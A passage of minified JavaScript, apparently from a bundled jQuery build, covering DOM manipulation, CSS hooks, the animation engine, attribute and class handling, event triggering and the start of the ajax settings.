0!==(n=e[s]);s++)if(Z(n)){if(t=n[X.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[X.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return G(this,(function(e){return void 0===e?w.text(this):this.empty().each((function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)}))}),null,e,arguments.length)},append:function(){return Ne(this,arguments,(function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Oe(this,e).appendChild(e)}))},prepend:function(){return Ne(this,arguments,(function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Oe(this,e);t.insertBefore(e,t.firstChild)}}))},before:function(){return Ne(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this)}))},after:function(){return Ne(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)}))},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(Me(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map((function(){return w.clone(this,e,t)}))},html:function(e){return G(this,(function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!je.test(e)&&!ve[(ye.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(Me(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)}),null,e,arguments.length)},replaceWith:function(){var e=[];return Ne(this,arguments,(function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(Me(this)),n&&n.replaceChild(t,this))}),e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},(function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),s=i.length-1,a=0;a<=s;a++)n=a===s?this:this.clone(!0),w(i[a])[t](n),u.apply(r,n.get());return this.pushStack(r)}}));var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),Be=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=r),t.getComputedStyle(e)},Ue=function(e,t,n){var r,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=s[i];return r},Ge=new RegExp(se.join("|"),"i");function Ve(e,t,n){var r,i,s,a,o=e.style;return(n=n||Be(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||oe(e)||(a=w.style(e,t)),!_.pixelBoxStyles()&&We.test(a)&&Ge.test(t)&&(r=o.width,i=o.minWidth,s=o.maxWidth,o.minWidth=o.maxWidth=o.width=a,a=n.width,o.width=r,o.minWidth=i,o.maxWidth=s)),void 0!==a?a+"":a}function Je(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",ae.appendChild(u).appendChild(l);var e=r.getComputedStyle(l);n="1%"!==e.top,d=12===t(e.marginLeft),l.style.right="60%",a=36===t(e.right),i=36===t(e.width),l.style.position="absolute",s=12===t(l.offsetWidth/3),ae.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,i,s,a,o,d,u=v.createElement("div"),l=v.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",_.clearCloneStyle="content-box"===l.style.backgroundClip,w.extend(_,{boxSizingReliable:function(){return e(),i},pixelBoxStyles:function(){return e(),a},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),d},scrollboxSize:function(){return e(),s},reliableTrDimensions:function(){var e,t,n,i;return null==o&&(e=v.createElement("table"),t=v.createElement("tr"),n=v.createElement("div"),e.style.cssText="position:absolute;left:-11111px",t.style.height="1px",n.style.height="9px",ae.appendChild(e).appendChild(t).appendChild(n),i=r.getComputedStyle(t),o=parseInt(i.height)>3,ae.removeChild(e)),o}}))}();var qe=["Webkit","Moz","ms"],$e=v.createElement("div").style,Ze={};function Ke(e){var t=w.cssProps[e]||Ze[e];return t||(e in $e?e:Ze[e]=function(e){for(var t=e[0].toUpperCase()+e.slice(1),n=qe.length;n--;)if((e=qe[n]+t)in $e)return e}(e)||e)}var Xe=/^(none|table(?!-c[ea]).+)/,Qe=/^--/,et={position:"absolute",visibility:"hidden",display:"block"},tt={letterSpacing:"0",fontWeight:"400"};function nt(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function rt(e,t,n,r,i,s){var a="width"===t?1:0,o=0,d=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(d+=w.css(e,n+se[a],!0,i)),r?("content"===n&&(d-=w.css(e,"padding"+se[a],!0,i)),"margin"!==n&&(d-=w.css(e,"border"+se[a]+"Width",!0,i))):(d+=w.css(e,"padding"+se[a],!0,i),"padding"!==n?d+=w.css(e,"border"+se[a]+"Width",!0,i):o+=w.css(e,"border"+se[a]+"Width",!0,i));return!r&&s>=0&&(d+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-s-d-o-.5))||0),d}function it(e,t,n){var r=Be(e),i=(!_.boxSizingReliable()||n)&&"border-box"===w.css(e,"boxSizing",!1,r),s=i,a=Ve(e,t,r),o="offset"+t[0].toUpperCase()+t.slice(1);if(We.test(a)){if(!n)return a;a="auto"}return(!_.boxSizingReliable()&&i||!_.reliableTrDimensions()&&H(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===w.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===w.css(e,"boxSizing",!1,r),(s=o in e)&&(a=e[o])),(a=parseFloat(a)||0)+rt(e,t,n||(i?"border":"content"),s,r,a)+"px"}function st(e,t,n,r,i){return new st.prototype.init(e,t,n,r,i)}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Ve(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,s,a,o=$(t),d=Qe.test(t),u=e.style;if(d||(t=Ke(o)),a=w.cssHooks[t]||w.cssHooks[o],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:u[t];"string"===(s=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=le(e,t,i),s="number"),null!=n&&n==n&&("number"!==s||d||(n+=i&&i[3]||(w.cssNumber[o]?"":"px")),_.clearCloneStyle||""!==n||0!==t.indexOf("background")||(u[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(d?u.setProperty(t,n):u[t]=n))}},css:function(e,t,n,r){var i,s,a,o=$(t);return Qe.test(t)||(t=Ke(o)),(a=w.cssHooks[t]||w.cssHooks[o])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Ve(e,t,r)),"normal"===i&&t in tt&&(i=tt[t]),""===n||n?(s=parseFloat(i),!0===n||isFinite(s)?s||0:i):i}}),w.each(["height","width"],(function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!Xe.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?it(e,t,r):Ue(e,et,(function(){return it(e,t,r)}))},set:function(e,n,r){var i,s=Be(e),a=!_.scrollboxSize()&&"absolute"===s.position,o=(a||r)&&"border-box"===w.css(e,"boxSizing",!1,s),d=r?rt(e,t,r,o,s):0;return o&&a&&(d-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(s[t])-rt(e,t,"border",!1,s)-.5)),d&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),nt(0,n,d)}}})),w.cssHooks.marginLeft=Je(_.reliableMarginLeft,(function(e,t){if(t)return(parseFloat(Ve(e,"marginLeft"))||e.getBoundingClientRect().left-Ue(e,{marginLeft:0},(function(){return e.getBoundingClientRect().left})))+"px"})),w.each({margin:"",padding:"",border:"Width"},(function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},s="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+se[r]+t]=s[r]||s[r-2]||s[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=nt)})),w.fn.extend({css:function(e,t){return G(this,(function(e,t,n){var r,i,s={},a=0;if(Array.isArray(t)){for(r=Be(e),i=t.length;a<i;a++)s[t[a]]=w.css(e,t[a],!1,r);return s}return void 0!==n?w.style(e,t,n):w.css(e,t)}),e,t,arguments.length>1)}}),w.Tween=st,st.prototype={constructor:st,init:function(e,t,n,r,i,s){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=s||(w.cssNumber[n]?"":"px")},cur:function(){var e=st.propHooks[this.prop];return e&&e.get?e.get(this):st.propHooks._default.get(this)},run:function(e){var t,n=st.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):st.propHooks._default.set(this),this}},st.prototype.init.prototype=st.prototype,st.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||!w.cssHooks[e.prop]&&null==e.elem.style[Ke(e.prop)]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},st.propHooks.scrollTop=st.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=st.prototype.init,w.fx.step={};var at,ot,dt=/^(?:toggle|show|hide)$/,ut=/queueHooks$/;function lt(){ot&&(!1===v.hidden&&r.requestAnimationFrame?r.requestAnimationFrame(lt):r.setTimeout(lt,w.fx.interval),w.fx.tick())}function ct(){return r.setTimeout((function(){at=void 0})),at=Date.now()}function ht(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=se[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function mt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),s=0,a=i.length;s<a;s++)if(r=i[s].call(n,t,e))return r}function pt(e,t,n){var r,i,s=0,a=pt.prefilters.length,o=w.Deferred().always((function(){delete d.elem})),d=function(){if(i)return!1;for(var t=at||ct(),n=Math.max(0,u.startTime+u.duration-t),r=1-(n/u.duration||0),s=0,a=u.tweens.length;s<a;s++)u.tweens[s].run(r);return o.notifyWith(e,[u,r,n]),r<1&&a?n:(a||o.notifyWith(e,[u,1,0]),o.resolveWith(e,[u]),!1)},u=o.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:at||ct(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)u.tweens[n].run(1);return t?(o.notifyWith(e,[u,1,0]),o.resolveWith(e,[u,t])):o.rejectWith(e,[u,t]),this}}),l=u.props;for(!function(e,t){var n,r,i,s,a;for(n in e)if(i=t[r=$(n)],s=e[n],Array.isArray(s)&&(i=s[1],s=e[n]=s[0]),n!==r&&(e[r]=s,delete e[n]),(a=w.cssHooks[r])&&"expand"in a)for(n in s=a.expand(s),delete e[r],s)n in e||(e[n]=s[n],t[n]=i);else t[r]=i}(l,u.opts.specialEasing);s<a;s++)if(r=pt.prefilters[s].call(u,e,l,u.opts))return y(r.stop)&&(w._queueHooks(u.elem,u.opts.queue).stop=r.stop.bind(r)),r;return w.map(l,mt,u),y(u.opts.start)&&u.opts.start.call(e,u),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always),w.fx.timer(w.extend(d,{elem:e,anim:u,queue:u.opts.queue})),u}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return le(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){y(e)?(t=e,e=["*"]):e=e.match(F);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,s,a,o,d,u,l,c="width"in t||"height"in t,h=this,m={},p=e.style,f=e.nodeType&&ue(e),_=X.get(e,"fxshow");for(r in n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,o=a.empty.fire,a.empty.fire=function(){a.unqueued||o()}),a.unqueued++,h.always((function(){h.always((function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()}))}))),t)if(i=t[r],dt.test(i)){if(delete t[r],s=s||"toggle"===i,i===(f?"hide":"show")){if("show"!==i||!_||void 0===_[r])continue;f=!0}m[r]=_&&_[r]||w.style(e,r)}if((d=!w.isEmptyObject(t))||!w.isEmptyObject(m))for(r in c&&1===e.nodeType&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],null==(u=_&&_.display)&&(u=X.get(e,"display")),"none"===(l=w.css(e,"display"))&&(u?l=u:(me([e],!0),u=e.style.display||u,l=w.css(e,"display"),me([e]))),("inline"===l||"inline-block"===l&&null!=u)&&"none"===w.css(e,"float")&&(d||(h.done((function(){p.display=u})),null==u&&(l=p.display,u="none"===l?"":l)),p.display="inline-block")),n.overflow&&(p.overflow="hidden",h.always((function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}))),d=!1,m)d||(_?"hidden"in _&&(f=_.hidden):_=X.access(e,"fxshow",{display:u}),s&&(_.hidden=!f),f&&me([e],!0),h.done((function(){for(r in f||me([e]),X.remove(e,"fxshow"),m)w.style(e,r,m[r])}))),d=mt(f?_[r]:0,r,h),r in _||(_[r]=d.start,f&&(d.end=d.start,d.start=0))}],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||y(e)&&e,duration:e,easing:n&&t||t&&!y(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){y(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ue).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),s=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),s);(i||X.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===s.queue?this.each(a):this.queue(s.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&this.queue(e||"fx",[]),this.each((function(){var t=!0,i=null!=e&&e+"queueHooks",s=w.timers,a=X.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ut.test(i)&&r(a[i]);for(i=s.length;i--;)s[i].elem!==this||null!=e&&s[i].queue!==e||(s[i].anim.stop(n),t=!1,s.splice(i,1));!t&&n||w.dequeue(this,e)}))},finish:function(e){return!1!==e&&(e=e||"fx"),this.each((function(){var t,n=X.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],s=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=s.length;t--;)s[t].elem===this&&s[t].queue===e&&(s[t].anim.stop(!0),s.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish}))}}),w.each(["toggle","show","hide"],(function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ht(t,!0),e,r,i)}})),w.each({slideDown:ht("show"),slideUp:ht("hide"),slideToggle:ht("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},(function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}})),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(at=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),at=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){ot||(ot=!0,lt())},w.fx.stop=function(){ot=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(e,t){return e=w.fx&&w.fx.speeds[e]||e,t=t||"fx",this.queue(t,(function(t,n){var i=r.setTimeout(t,e);n.stop=function(){r.clearTimeout(i)}}))},function(){var e=v.createElement("input"),t=v.createElement("select").appendChild(v.createElement("option"));e.type="checkbox",_.checkOn=""!==e.value,_.optSelected=t.selected,(e=v.createElement("input")).value="t",e.type="radio",_.radioValue="t"===e.value}();var ft,_t=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return G(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each((function(){w.removeAttr(this,e)}))}}),w.extend({attr:function(e,t,n){var r,i,s=e.nodeType;if(3!==s&&8!==s&&2!==s)return void 0===e.getAttribute?w.prop(e,t,n):(1===s&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?ft:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!_.radioValue&&"radio"===t&&H(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(F);if(i&&1===e.nodeType)for(;n=i[r++];)e.removeAttribute(n)}}),ft={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),(function(e,t){var n=_t[t]||w.find.attr;_t[t]=function(e,t,r){var i,s,a=t.toLowerCase();return r||(s=_t[a],_t[a]=i,i=null!=n(e,t,r)?a:null,_t[a]=s),i}}));var yt=/^(?:input|select|textarea|button)$/i,gt=/^(?:a|area)$/i;function vt(e){return(e.match(F)||[]).join(" ")}function Mt(e){return e.getAttribute&&e.getAttribute("class")||""}function Lt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(F)||[]}w.fn.extend({prop:function(e,t){return G(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each((function(){delete this[w.propFix[e]||e]}))}}),w.extend({prop:function(e,t,n){var r,i,s=e.nodeType;if(3!==s&&8!==s&&2!==s)return 1===s&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):yt.test(e.nodeName)||gt.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:"htmlFor",class:"className"}}),_.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],(function(){w.propFix[this.toLowerCase()]=this})),w.fn.extend({addClass:function(e){var t,n,r,i,s,a,o,d=0;if(y(e))return this.each((function(t){w(this).addClass(e.call(this,t,Mt(this)))}));if((t=Lt(e)).length)for(;n=this[d++];)if(i=Mt(n),r=1===n.nodeType&&" "+vt(i)+" "){for(a=0;s=t[a++];)r.indexOf(" "+s+" ")<0&&(r+=s+" ");i!==(o=vt(r))&&n.setAttribute("class",o)}return this},removeClass:function(e){var t,n,r,i,s,a,o,d=0;if(y(e))return this.each((function(t){w(this).removeClass(e.call(this,t,Mt(this)))}));if(!arguments.length)return this.attr("class","");if((t=Lt(e)).length)for(;n=this[d++];)if(i=Mt(n),r=1===n.nodeType&&" "+vt(i)+" "){for(a=0;s=t[a++];)for(;r.indexOf(" "+s+" ")>-1;)r=r.replace(" "+s+" "," ");i!==(o=vt(r))&&n.setAttribute("class",o)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):y(e)?this.each((function(n){w(this).toggleClass(e.call(this,n,Mt(this),t),t)})):this.each((function(){var t,i,s,a;if(r)for(i=0,s=w(this),a=Lt(e);t=a[i++];)s.hasClass(t)?s.removeClass(t):s.addClass(t);else void 0!==e&&"boolean"!==n||((t=Mt(this))&&X.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":X.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&(" "+vt(Mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var Dt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];return arguments.length?(r=y(e),this.each((function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,(function(e){return null==e?"":e+""}))),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))}))):i?(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(Dt,""):null==n?"":n:void 0}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,s=e.selectedIndex,a="select-one"===e.type,o=a?null:[],d=a?s+1:i.length;for(r=s<0?d:a?s:0;r<d;r++)if(((n=i[r]).selected||r===s)&&!n.disabled&&(!n.parentNode.disabled||!H(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;o.push(t)}return o},set:function(e,t){for(var n,r,i=e.options,s=w.makeArray(t),a=i.length;a--;)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),s)>-1)&&(n=!0);return n||(e.selectedIndex=-1),s}}}}),w.each(["radio","checkbox"],(function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},_.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})})),_.focusin="onfocusin"in r;var Yt=/^(?:focusinfocus|focusoutblur)$/,wt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(e,t,n,i){var s,a,o,d,u,l,c,h,p=[n||v],f=m.call(e,"type")?e.type:e,_=m.call(e,"namespace")?e.namespace.split("."):[];if(a=h=o=n=n||v,3!==n.nodeType&&8!==n.nodeType&&!Yt.test(f+w.event.triggered)&&(f.indexOf(".")>-1&&(_=f.split("."),f=_.shift(),_.sort()),u=f.indexOf(":")<0&&"on"+f,(e=e[w.expando]?e:new w.Event(f,"object"==typeof e&&e)).isTrigger=i?2:3,e.namespace=_.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+_.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:w.makeArray(t,[e]),c=w.event.special[f]||{},i||!c.trigger||!1!==c.trigger.apply(n,t))){if(!i&&!c.noBubble&&!g(n)){for(d=c.delegateType||f,Yt.test(d+f)||(a=a.parentNode);a;a=a.parentNode)p.push(a),o=a;o===(n.ownerDocument||v)&&p.push(o.defaultView||o.parentWindow||r)}for(s=0;(a=p[s++])&&!e.isPropagationStopped();)h=a,e.type=s>1?d:c.bindType||f,(l=(X.get(a,"events")||Object.create(null))[e.type]&&X.get(a,"handle"))&&l.apply(a,t),(l=u&&a[u])&&l.apply&&Z(a)&&(e.result=l.apply(a,t),!1===e.result&&e.preventDefault());return e.type=f,i||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!Z(n)||u&&y(n[f])&&!g(n)&&((o=n[u])&&(n[u]=null),w.event.triggered=f,e.isPropagationStopped()&&h.addEventListener(f,wt),n[f](),e.isPropagationStopped()&&h.removeEventListener(f,wt),w.event.triggered=void 0,o&&(n[u]=o)),e.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each((function(){w.event.trigger(e,t,this)}))},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),_.focusin||w.each({focus:"focusin",blur:"focusout"},(function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this.document||this,i=X.access(r,t);i||r.addEventListener(e,n,!0),X.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this.document||this,i=X.access(r,t)-1;i?X.access(r,t,i):(r.removeEventListener(e,n,!0),X.remove(r,t))}}}));var bt=r.location,Tt={guid:Date.now()},kt=/\?/;w.parseXML=function(e){var t;if(!e||"string"!=typeof e)return null;try{t=(new r.DOMParser).parseFromString(e,"text/xml")}catch(e){t=void 0}return t&&!t.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+e),t};var St=/\[\]$/,xt=/\r?\n/g,Ht=/^(?:submit|button|image|reset|file)$/i,Et=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,(function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)}));else if(n||"object"!==D(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=y(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,(function(){i(this.name,this.value)}));else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map((function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this})).filter((function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&Et.test(this.nodeName)&&!Ht.test(e)&&(this.checked||!_e.test(e))})).map((function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,(function(e){return{name:t.name,value:e.replace(xt,"\r\n")}})):{name:t.name,value:n.replace(xt,"\r\n")}})).get()}});var Pt=/%20/g,Ct=/#.*$/,Ot=/([?&])_=[^&]*/,Rt=/^(.*?):[ \t]*([^\r\n]*)$/gm,At=/^(?:GET|HEAD)$/,Ft=/^\/\//,zt={},Nt={},It="*/".concat("*"),Wt=v.createElement("a");function Bt(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,s=t.toLowerCase().match(F)||[];if(y(n))for(;r=s[i++];)"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function Ut(e,t,n,r){var i={},s=e===Nt;function a(o){var d;return i[o]=!0,w.each(e[o]||[],(function(e,o){var u=o(t,n,r);return"string"!=typeof u||s||i[u]?s?!(d=u):void 0:(t.dataTypes.unshift(u),a(u),!1)})),d}return a(t.dataTypes[0])||!i["*"]&&a("*")}function Gt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}Wt.href=bt.href,w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:bt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(bt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":It,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text 